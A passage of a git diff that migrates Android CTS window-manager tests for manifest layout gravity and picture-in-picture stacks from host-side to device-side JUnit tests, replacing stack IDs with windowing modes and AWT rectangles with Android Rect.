+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.server.am.ActivityAndWindowManagersState.dpToPx;
+import static android.server.am.StateLogger.log;
+
+import android.graphics.Rect;
+import android.server.am.WindowManagerState.Display;
+import android.server.am.WindowManagerState.WindowState;
import junit.framework.Assert;
-import java.awt.Rectangle;
-import android.server.cts.WindowManagerState.WindowState;
-import android.server.cts.WindowManagerState.Display;
+import org.junit.Test;
-import static android.server.cts.ActivityAndWindowManagersState.dpToPx;
-import static com.android.ddmlib.Log.LogLevel.INFO;
-
-import com.android.tradefed.log.LogUtil.CLog;
+import java.util.ArrayList;
+import java.util.List;
/**
* Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerManifestLayoutTests
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerManifestLayoutTests
*/
public class ActivityManagerManifestLayoutTests extends ActivityManagerTestBase {
@@ -57,45 +58,51 @@
private Display mDisplay;
private WindowState mWindowState;
+ @Test
public void testGravityAndDefaultSizeTopLeft() throws Exception {
testLayout(GRAVITY_VER_TOP, GRAVITY_HOR_LEFT, false /*fraction*/);
}
+ @Test
public void testGravityAndDefaultSizeTopRight() throws Exception {
testLayout(GRAVITY_VER_TOP, GRAVITY_HOR_RIGHT, true /*fraction*/);
}
+ @Test
public void testGravityAndDefaultSizeBottomLeft() throws Exception {
testLayout(GRAVITY_VER_BOTTOM, GRAVITY_HOR_LEFT, true /*fraction*/);
}
+ @Test
public void testGravityAndDefaultSizeBottomRight() throws Exception {
testLayout(GRAVITY_VER_BOTTOM, GRAVITY_HOR_RIGHT, false /*fraction*/);
}
+ @Test
public void testMinimalSizeFreeform() throws Exception {
if (!supportsFreeform()) {
- CLog.logAndDisplay(INFO, "Skipping test: no freeform support");
+ log("Skipping test: no freeform support");
return;
}
- testMinimalSize(FREEFORM_WORKSPACE_STACK_ID);
+ testMinimalSize(WINDOWING_MODE_FREEFORM);
}
+ @Test
public void testMinimalSizeDocked() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
+ log("Skipping test: no multi-window support");
return;
}
- testMinimalSize(DOCKED_STACK_ID);
+ testMinimalSize(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
}
- private void testMinimalSize(int stackId) throws Exception {
+ private void testMinimalSize(int windowingMode) throws Exception {
final String activityName = "BottomRightLayoutActivity";
// Issue command to resize to <0,0,1,1>. We expect the size to be floored at
// MIN_WIDTH_DPxMIN_HEIGHT_DP.
- if (stackId == FREEFORM_WORKSPACE_STACK_ID) {
- launchActivityInStack(activityName, stackId);
+ if (windowingMode == WINDOWING_MODE_FREEFORM) {
+ launchActivity(activityName, WINDOWING_MODE_FREEFORM);
resizeActivityTask(activityName, 0, 0, 1, 1);
} else { // stackId == DOCKED_STACK_ID
launchActivityInDockStack(activityName);
@@ -105,16 +112,16 @@
final int minWidth = dpToPx(MIN_WIDTH_DP, mDisplay.getDpi());
final int minHeight = dpToPx(MIN_HEIGHT_DP, mDisplay.getDpi());
- final Rectangle containingRect = mWindowState.getContainingFrame();
+ final Rect containingRect = mWindowState.getContainingFrame();
- Assert.assertEquals("Min width is incorrect", minWidth, containingRect.width);
- Assert.assertEquals("Min height is incorrect", minHeight, containingRect.height);
+ Assert.assertEquals("Min width is incorrect", minWidth, containingRect.width());
+ Assert.assertEquals("Min height is incorrect", minHeight, containingRect.height());
}
private void testLayout(
int vGravity, int hGravity, boolean fraction) throws Exception {
if (!supportsFreeform()) {
- CLog.logAndDisplay(INFO, "Skipping test: no freeform support");
+ log("Skipping test: no freeform support");
return;
}
@@ -122,19 +129,19 @@
+ (hGravity == GRAVITY_HOR_LEFT ? "Left" : "Right") + "LayoutActivity";
// Launch in freeform stack
- launchActivityInStack(activityName, FREEFORM_WORKSPACE_STACK_ID);
+ launchActivity(activityName, WINDOWING_MODE_FREEFORM);
getDisplayAndWindowState(activityName, true);
- final Rectangle containingRect = mWindowState.getContainingFrame();
- final Rectangle appRect = mDisplay.getAppRect();
+ final Rect containingRect = mWindowState.getContainingFrame();
+ final Rect appRect = mDisplay.getAppRect();
final int expectedWidthPx, expectedHeightPx;
// Evaluate the expected window size in px. If we're using fraction dimensions,
// calculate the size based on the app rect size. Otherwise, convert the expected
// size in dp to px.
if (fraction) {
- expectedWidthPx = (int) (appRect.width * DEFAULT_WIDTH_FRACTION);
- expectedHeightPx = (int) (appRect.height * DEFAULT_HEIGHT_FRACTION);
+ expectedWidthPx = (int) (appRect.width() * DEFAULT_WIDTH_FRACTION);
+ expectedHeightPx = (int) (appRect.height() * DEFAULT_HEIGHT_FRACTION);
} else {
final int densityDpi = mDisplay.getDpi();
expectedWidthPx = dpToPx(DEFAULT_WIDTH_DP, densityDpi);
@@ -149,7 +156,7 @@
throws Exception {
final String windowName = getWindowName(activityName);
- mAmWmState.computeState(mDevice, new String[] {activityName});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
if (checkFocus) {
mAmWmState.assertFocusedWindow("Test window must be the front window.", windowName);
@@ -171,22 +178,22 @@
private void verifyFrameSizeAndPosition(
int vGravity, int hGravity, int expectedWidthPx, int expectedHeightPx,
- Rectangle containingFrame, Rectangle parentFrame) {
- Assert.assertEquals("Width is incorrect", expectedWidthPx, containingFrame.width);
- Assert.assertEquals("Height is incorrect", expectedHeightPx, containingFrame.height);
+ Rect containingFrame, Rect parentFrame) {
+ Assert.assertEquals("Width is incorrect", expectedWidthPx, containingFrame.width());
+ Assert.assertEquals("Height is incorrect", expectedHeightPx, containingFrame.height());
if (vGravity == GRAVITY_VER_TOP) {
- Assert.assertEquals("Should be on the top", parentFrame.y, containingFrame.y);
+ Assert.assertEquals("Should be on the top", parentFrame.top, containingFrame.top);
} else if (vGravity == GRAVITY_VER_BOTTOM) {
Assert.assertEquals("Should be on the bottom",
- parentFrame.y + parentFrame.height, containingFrame.y + containingFrame.height);
+ parentFrame.bottom, containingFrame.bottom);
}
if (hGravity == GRAVITY_HOR_LEFT) {
- Assert.assertEquals("Should be on the left", parentFrame.x, containingFrame.x);
+ Assert.assertEquals("Should be on the left", parentFrame.left, containingFrame.left);
} else if (hGravity == GRAVITY_HOR_RIGHT){
Assert.assertEquals("Should be on the right",
- parentFrame.x + parentFrame.width, containingFrame.x + containingFrame.width);
+ parentFrame.right, containingFrame.right);
}
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
similarity index 74%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
index 5f63580..e19b9bf 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
@@ -14,25 +14,39 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
-import static android.server.cts.ActivityManagerState.STATE_STOPPED;
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.am.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.am.ActivityManagerState.STATE_STOPPED;
+import static android.view.KeyEvent.KEYCODE_WINDOW;
-import android.server.cts.ActivityManagerState.ActivityStack;
-import android.server.cts.ActivityManagerState.ActivityTask;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
-import java.awt.Rectangle;
-import java.lang.Exception;
-import java.lang.String;
+import android.graphics.Rect;
+import android.platform.test.annotations.Presubmit;
+import android.server.am.ActivityManagerState.ActivityStack;
+import android.server.am.ActivityManagerState.ActivityTask;
+
+import org.junit.Test;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerPinnedStackTests
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerPinnedStackTests
*/
public class ActivityManagerPinnedStackTests extends ActivityManagerTestBase {
private static final String TEST_ACTIVITY = "TestActivity";
@@ -70,17 +84,17 @@
private static final String EXTRA_ON_PAUSE_DELAY = "on_pause_delay";
private static final String PIP_ACTIVITY_ACTION_ENTER_PIP =
- "android.server.cts.PipActivity.enter_pip";
+ "android.server.am.PipActivity.enter_pip";
private static final String PIP_ACTIVITY_ACTION_MOVE_TO_BACK =
- "android.server.cts.PipActivity.move_to_back";
+ "android.server.am.PipActivity.move_to_back";
private static final String PIP_ACTIVITY_ACTION_EXPAND_PIP =
- "android.server.cts.PipActivity.expand_pip";
+ "android.server.am.PipActivity.expand_pip";
private static final String PIP_ACTIVITY_ACTION_SET_REQUESTED_ORIENTATION =
- "android.server.cts.PipActivity.set_requested_orientation";
+ "android.server.am.PipActivity.set_requested_orientation";
private static final String PIP_ACTIVITY_ACTION_FINISH =
- "android.server.cts.PipActivity.finish";
+ "android.server.am.PipActivity.finish";
private static final String TEST_ACTIVITY_ACTION_FINISH =
- "android.server.cts.TestActivity.finish_self";
+ "android.server.am.TestActivity.finish_self";
private static final String APP_OPS_OP_ENTER_PICTURE_IN_PICTURE = "PICTURE_IN_PICTURE";
private static final int APP_OPS_MODE_ALLOWED = 0;
@@ -108,36 +122,46 @@
private static final int MAX_ASPECT_RATIO_DENOMINATOR = 100;
private static final int ABOVE_MAX_ASPECT_RATIO_NUMERATOR = MAX_ASPECT_RATIO_NUMERATOR + 1;
+ @Test
public void testMinimumDeviceSize() throws Exception {
if (!supportsPip()) return;
- mAmWmState.assertDeviceDefaultDisplaySize(mDevice,
+ mAmWmState.assertDeviceDefaultDisplaySize(
"Devices supporting picture-in-picture must be larger than the default minimum"
+ " task size");
}
+ @Presubmit
+ @Test
public void testEnterPictureInPictureMode() throws Exception {
- pinnedStackTester(getAmStartCmd(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true"), PIP_ACTIVITY,
- false /* moveTopToPinnedStack */, false /* isFocusable */);
+ pinnedStackTester(getAmStartCmd(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true"),
+ PIP_ACTIVITY, PIP_ACTIVITY, false /* moveTopToPinnedStack */,
+ false /* isFocusable */);
}
+ @Presubmit
+ @Test
public void testMoveTopActivityToPinnedStack() throws Exception {
- pinnedStackTester(getAmStartCmd(PIP_ACTIVITY), PIP_ACTIVITY,
+ pinnedStackTester(getAmStartCmd(PIP_ACTIVITY), PIP_ACTIVITY, PIP_ACTIVITY,
true /* moveTopToPinnedStack */, false /* isFocusable */);
}
+ @Test
public void testAlwaysFocusablePipActivity() throws Exception {
pinnedStackTester(getAmStartCmd(ALWAYS_FOCUSABLE_PIP_ACTIVITY),
- ALWAYS_FOCUSABLE_PIP_ACTIVITY, false /* moveTopToPinnedStack */,
- true /* isFocusable */);
+ ALWAYS_FOCUSABLE_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY,
+ false /* moveTopToPinnedStack */, true /* isFocusable */);
}
+ @Presubmit
+ @Test
public void testLaunchIntoPinnedStack() throws Exception {
pinnedStackTester(getAmStartCmd(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY),
- ALWAYS_FOCUSABLE_PIP_ACTIVITY, false /* moveTopToPinnedStack */,
- true /* isFocusable */);
+ LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY,
+ false /* moveTopToPinnedStack */, true /* isFocusable */);
}
+ @Test
public void testNonTappablePipActivity() throws Exception {
if (!supportsPip()) return;
@@ -145,17 +169,18 @@
launchActivity(PIP_ACTIVITY,
EXTRA_ENTER_PIP, "true",
EXTRA_TAP_TO_FINISH, "true");
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
assertPinnedStackExists();
// Tap the screen at a known location in the pinned stack bounds, and ensure that it is
// not passed down to the top task
tapToFinishPip();
- mAmWmState.computeState(mDevice, new String[] {PIP_ACTIVITY},
- false /* compareTaskAndStackBounds */);
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(PIP_ACTIVITY).build());
mAmWmState.assertVisibility(PIP_ACTIVITY, true);
}
+ @Test
public void testPinnedStackDefaultBounds() throws Exception {
if (!supportsPip()) return;
@@ -164,22 +189,23 @@
setDeviceRotation(ROTATION_0);
WindowManagerState wmState = mAmWmState.getWmState();
- wmState.computeState(mDevice);
- Rectangle defaultPipBounds = wmState.getDefaultPinnedStackBounds();
- Rectangle stableBounds = wmState.getStableBounds();
- assertTrue(defaultPipBounds.width > 0 && defaultPipBounds.height > 0);
+ wmState.computeState();
+ Rect defaultPipBounds = wmState.getDefaultPinnedStackBounds();
+ Rect stableBounds = wmState.getStableBounds();
+ assertTrue(defaultPipBounds.width() > 0 && defaultPipBounds.height() > 0);
assertTrue(stableBounds.contains(defaultPipBounds));
setDeviceRotation(ROTATION_90);
wmState = mAmWmState.getWmState();
- wmState.computeState(mDevice);
+ wmState.computeState();
defaultPipBounds = wmState.getDefaultPinnedStackBounds();
stableBounds = wmState.getStableBounds();
- assertTrue(defaultPipBounds.width > 0 && defaultPipBounds.height > 0);
+ assertTrue(defaultPipBounds.width() > 0 && defaultPipBounds.height() > 0);
assertTrue(stableBounds.contains(defaultPipBounds));
setDeviceRotation(ROTATION_0);
}
+ @Test
public void testPinnedStackMovementBounds() throws Exception {
if (!supportsPip()) return;
@@ -188,50 +214,52 @@
setDeviceRotation(ROTATION_0);
WindowManagerState wmState = mAmWmState.getWmState();
- wmState.computeState(mDevice);
- Rectangle pipMovementBounds = wmState.getPinnedStackMomentBounds();
- Rectangle stableBounds = wmState.getStableBounds();
- assertTrue(pipMovementBounds.width > 0 && pipMovementBounds.height > 0);
+ wmState.computeState();
+ Rect pipMovementBounds = wmState.getPinnedStackMomentBounds();
+ Rect stableBounds = wmState.getStableBounds();
+ assertTrue(pipMovementBounds.width() > 0 && pipMovementBounds.height() > 0);
assertTrue(stableBounds.contains(pipMovementBounds));
setDeviceRotation(ROTATION_90);
wmState = mAmWmState.getWmState();
- wmState.computeState(mDevice);
+ wmState.computeState();
pipMovementBounds = wmState.getPinnedStackMomentBounds();
stableBounds = wmState.getStableBounds();
- assertTrue(pipMovementBounds.width > 0 && pipMovementBounds.height > 0);
+ assertTrue(pipMovementBounds.width() > 0 && pipMovementBounds.height() > 0);
assertTrue(stableBounds.contains(pipMovementBounds));
setDeviceRotation(ROTATION_0);
}
+ @Test
public void testPinnedStackOutOfBoundsInsetsNonNegative() throws Exception {
if (!supportsPip()) return;
final WindowManagerState wmState = mAmWmState.getWmState();
// Launch an activity into the pinned stack
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP, "true",
- EXTRA_TAP_TO_FINISH, "true");
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_TAP_TO_FINISH, "true");
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
// Get the display dimensions
WindowManagerState.WindowState windowState = getWindowState(PIP_ACTIVITY);
WindowManagerState.Display display = wmState.getDisplay(windowState.getDisplayId());
- Rectangle displayRect = display.getDisplayRect();
+ Rect displayRect = display.getDisplayRect();
// Move the pinned stack offscreen
String moveStackOffscreenCommand = String.format("am stack resize 4 %d %d %d %d",
- displayRect.width - 200, 0, displayRect.width + 200, 500);
+ displayRect.width() - 200, 0, displayRect.width() + 200, 500);
executeShellCommand(moveStackOffscreenCommand);
// Ensure that the surface insets are not negative
windowState = getWindowState(PIP_ACTIVITY);
- Rectangle contentInsets = windowState.getContentInsets();
- assertTrue(contentInsets.x >= 0 && contentInsets.y >= 0 && contentInsets.width >= 0 &&
- contentInsets.height >= 0);
+ Rect contentInsets = windowState.getContentInsets();
+ if (contentInsets != null) {
+ assertTrue(contentInsets.left >= 0 && contentInsets.top >= 0
+ && contentInsets.width() >= 0 && contentInsets.height() >= 0);
+ }
}
+ @Test
public void testPinnedStackInBoundsAfterRotation() throws Exception {
if (!supportsPip()) return;
@@ -239,7 +267,7 @@
launchActivity(PIP_ACTIVITY,
EXTRA_ENTER_PIP, "true",
EXTRA_TAP_TO_FINISH, "true");
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
// Ensure that the PIP stack is fully visible in each orientation
setDeviceRotation(ROTATION_0);
@@ -253,6 +281,7 @@
setDeviceRotation(ROTATION_0);
}
+ @Test
public void testEnterPipToOtherOrientation() throws Exception {
if (!supportsPip()) return;
@@ -265,15 +294,17 @@
// Enter PiP, and assert that the PiP is within bounds now that the device is back in
// portrait
executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
assertPinnedStackExists();
assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
}
+ @Test
public void testEnterPipAspectRatioMin() throws Exception {
testEnterPipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
}
+ @Test
public void testEnterPipAspectRatioMax() throws Exception {
testEnterPipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
}
@@ -288,16 +319,18 @@
assertPinnedStackExists();
// Assert that we have entered PIP and that the aspect ratio is correct
- Rectangle pinnedStackBounds =
- mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
- assertTrue(floatEquals((float) pinnedStackBounds.width / pinnedStackBounds.height,
- (float) num / denom));
+ Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getBounds();
+ assertFloatEquals((float) pinnedStackBounds.width() / pinnedStackBounds.height(),
+ (float) num / denom);
}
+ @Test
public void testResizePipAspectRatioMin() throws Exception {
testResizePipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
}
+ @Test
public void testResizePipAspectRatioMax() throws Exception {
testResizePipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
}
@@ -310,26 +343,19 @@
EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
assertPinnedStackExists();
-
- // Hacky, but we need to wait for the enterPictureInPicture animation to complete and
- // the resize to be called before we can check the pinned stack bounds
- final boolean[] result = new boolean[1];
- mAmWmState.waitForWithAmState(mDevice, (state) -> {
- Rectangle pinnedStackBounds = state.getStackById(PINNED_STACK_ID).getBounds();
- boolean isValidAspectRatio = floatEquals(
- (float) pinnedStackBounds.width / pinnedStackBounds.height,
- (float) num / denom);
- result[0] = isValidAspectRatio;
- return isValidAspectRatio;
- }, "Waiting for pinned stack to be resized");
- assertTrue(result[0]);
+ waitForValidAspectRatio(num, denom);
+ Rect bounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getBounds();
+ assertFloatEquals((float) bounds.width() / bounds.height(), (float) num / denom);
}
+ @Test
public void testEnterPipExtremeAspectRatioMin() throws Exception {
testEnterPipExtremeAspectRatio(MIN_ASPECT_RATIO_NUMERATOR,
BELOW_MIN_ASPECT_RATIO_DENOMINATOR);
}
+ @Test
public void testEnterPipExtremeAspectRatioMax() throws Exception {
testEnterPipExtremeAspectRatio(ABOVE_MAX_ASPECT_RATIO_NUMERATOR,
MAX_ASPECT_RATIO_DENOMINATOR);
@@ -346,11 +372,13 @@
assertPinnedStackDoesNotExist();
}
+ @Test
public void testSetPipExtremeAspectRatioMin() throws Exception {
testSetPipExtremeAspectRatio(MIN_ASPECT_RATIO_NUMERATOR,
BELOW_MIN_ASPECT_RATIO_DENOMINATOR);
}
+ @Test
public void testSetPipExtremeAspectRatioMax() throws Exception {
testSetPipExtremeAspectRatio(ABOVE_MAX_ASPECT_RATIO_NUMERATOR,
MAX_ASPECT_RATIO_DENOMINATOR);
@@ -370,26 +398,28 @@
EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
assertPinnedStackExists();
- Rectangle pinnedStackBounds =
- mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
- assertTrue(floatEquals((float) pinnedStackBounds.width / pinnedStackBounds.height,
- (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR));
+ Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getBounds();
+ assertFloatEquals((float) pinnedStackBounds.width() / pinnedStackBounds.height(),
+ (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
}
+ @Test
public void testDisallowPipLaunchFromStoppedActivity() throws Exception {
if (!supportsPip()) return;
// Launch the bottom pip activity
launchActivity(PIP_ON_STOP_ACTIVITY);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
// Wait for the bottom pip activity to be stopped
- mAmWmState.waitForActivityState(mDevice, PIP_ON_STOP_ACTIVITY, STATE_STOPPED);
+ mAmWmState.waitForActivityState(PIP_ON_STOP_ACTIVITY, STATE_STOPPED);
// Assert that there is no pinned stack (that enterPictureInPicture() failed)
assertPinnedStackDoesNotExist();
}
+ @Test
public void testAutoEnterPictureInPicture() throws Exception {
if (!supportsPip()) return;
@@ -405,6 +435,7 @@
assertPinnedStackExists();
}
+ @Test
public void testAutoEnterPictureInPictureLaunchActivity() throws Exception {
if (!supportsPip()) return;
@@ -417,8 +448,8 @@
launchActivity(PIP_ACTIVITY,
EXTRA_ENTER_PIP_ON_PAUSE, "true",
EXTRA_START_ACTIVITY, getActivityComponentName(NON_RESIZEABLE_ACTIVITY));
- mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY},
- false /* compareTaskAndStackBounds */);
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY).build());
assertPinnedStackDoesNotExist();
// Go home while the pip activity is open and ensure the previous activity is not PIPed
@@ -426,6 +457,7 @@
assertPinnedStackDoesNotExist();
}
+ @Test
public void testAutoEnterPictureInPictureFinish() throws Exception {
if (!supportsPip()) return;
@@ -441,6 +473,7 @@
assertPinnedStackDoesNotExist();
}
+ @Test
public void testAutoEnterPictureInPictureAspectRatio() throws Exception {
if (!supportsPip()) return;
@@ -454,26 +487,20 @@
launchHomeActivity();
assertPinnedStackExists();
- // Hacky, but we need to wait for the auto-enter picture-in-picture animation to complete
- // and before we can check the pinned stack bounds
- final boolean[] result = new boolean[1];
- mAmWmState.waitForWithAmState(mDevice, (state) -> {
- Rectangle pinnedStackBounds = state.getStackById(PINNED_STACK_ID).getBounds();
- boolean isValidAspectRatio = floatEquals(
- (float) pinnedStackBounds.width / pinnedStackBounds.height,
- (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
- result[0] = isValidAspectRatio;
- return isValidAspectRatio;
- }, "Waiting for pinned stack to be resized");
- assertTrue(result[0]);
+ waitForValidAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
+ Rect bounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_PINNED).getBounds();
+ assertFloatEquals((float) bounds.width() / bounds.height(),
+ (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
}
+ @Test
public void testAutoEnterPictureInPictureOverPip() throws Exception {
if (!supportsPip()) return;
// Launch another PIP activity
launchActivity(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY);
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
+ mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
assertPinnedStackExists();
// Launch the PIP activity on pause
@@ -485,12 +512,15 @@
// Ensure that auto-enter pip failed and that the resumed activity in the pinned stack is
// still the first activity
- final ActivityStack pinnedStack = mAmWmState.getAmState().getStackById(PINNED_STACK_ID);
+ final ActivityStack pinnedStack =
+ mAmWmState.getAmState().getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
assertTrue(pinnedStack.getTasks().size() == 1);
assertTrue(pinnedStack.getTasks().get(0).mRealActivity.equals(getActivityComponentName(
ALWAYS_FOCUSABLE_PIP_ACTIVITY)));
}
+ @Presubmit
+ @Test
public void testDisallowMultipleTasksInPinnedStack() throws Exception {
if (!supportsPip()) return;
@@ -503,40 +533,40 @@
// Launch second PIP activity
launchActivity(PIP_ACTIVITY2, EXTRA_ENTER_PIP, "true");
- final ActivityStack pinnedStack = mAmWmState.getAmState().getStackById(PINNED_STACK_ID);
+ final ActivityStack pinnedStack =
+ mAmWmState.getAmState().getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
assertEquals(1, pinnedStack.getTasks().size());
assertTrue(pinnedStack.getTasks().get(0).mRealActivity.equals(getActivityComponentName(
PIP_ACTIVITY2)));
- final ActivityStack fullScreenStack = mAmWmState.getAmState().getStackById(
- FULLSCREEN_WORKSPACE_STACK_ID);
- assertTrue(fullScreenStack.getBottomTask().mRealActivity.equals(getActivityComponentName(
- PIP_ACTIVITY)));
+ assertTrue(mAmWmState.getAmState().containsActivityInWindowingMode(
+ PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN));
}
+ @Test
public void testPipUnPipOverHome() throws Exception {
if (!supportsPip()) return;
// Go home
launchHomeActivity();
// Launch an auto pip activity
- launchActivity(PIP_ACTIVITY,
- EXTRA_ENTER_PIP, "true",
- EXTRA_REENTER_PIP_ON_EXIT, "true");
+ launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_REENTER_PIP_ON_EXIT, "true");
assertPinnedStackExists();
// Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
launchActivity(PIP_ACTIVITY);
- mAmWmState.waitForWithAmState(mDevice, (amState) -> {
- return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == FULLSCREEN_WORKSPACE_STACK_ID;
+ mAmWmState.waitForWithAmState((amState) -> {
+ return amState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID)
+ == WINDOWING_MODE_FULLSCREEN;
}, "Waiting for PIP to exit to fullscreen");
- mAmWmState.waitForWithAmState(mDevice, (amState) -> {
- return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == PINNED_STACK_ID;
+ mAmWmState.waitForWithAmState((amState) -> {
+ return amState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID) == WINDOWING_MODE_PINNED;
}, "Waiting to re-enter PIP");
- mAmWmState.assertFocusedStack("Expected home stack focused", HOME_STACK_ID);
+ mAmWmState.assertHomeActivityVisible(true);
}
+ @Test
public void testPipUnPipOverApp() throws Exception {
if (!supportsPip()) return;
@@ -551,21 +581,23 @@
// Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
launchActivity(PIP_ACTIVITY);
- mAmWmState.waitForWithAmState(mDevice, (amState) -> {
- return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == FULLSCREEN_WORKSPACE_STACK_ID;
+ mAmWmState.waitForWithAmState((amState) -> {
+ return amState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID)
+ == WINDOWING_MODE_FULLSCREEN;
}, "Waiting for PIP to exit to fullscreen");
- mAmWmState.waitForWithAmState(mDevice, (amState) -> {
- return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == PINNED_STACK_ID;
+ mAmWmState.waitForWithAmState((amState) -> {
+ return amState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID) == WINDOWING_MODE_PINNED;
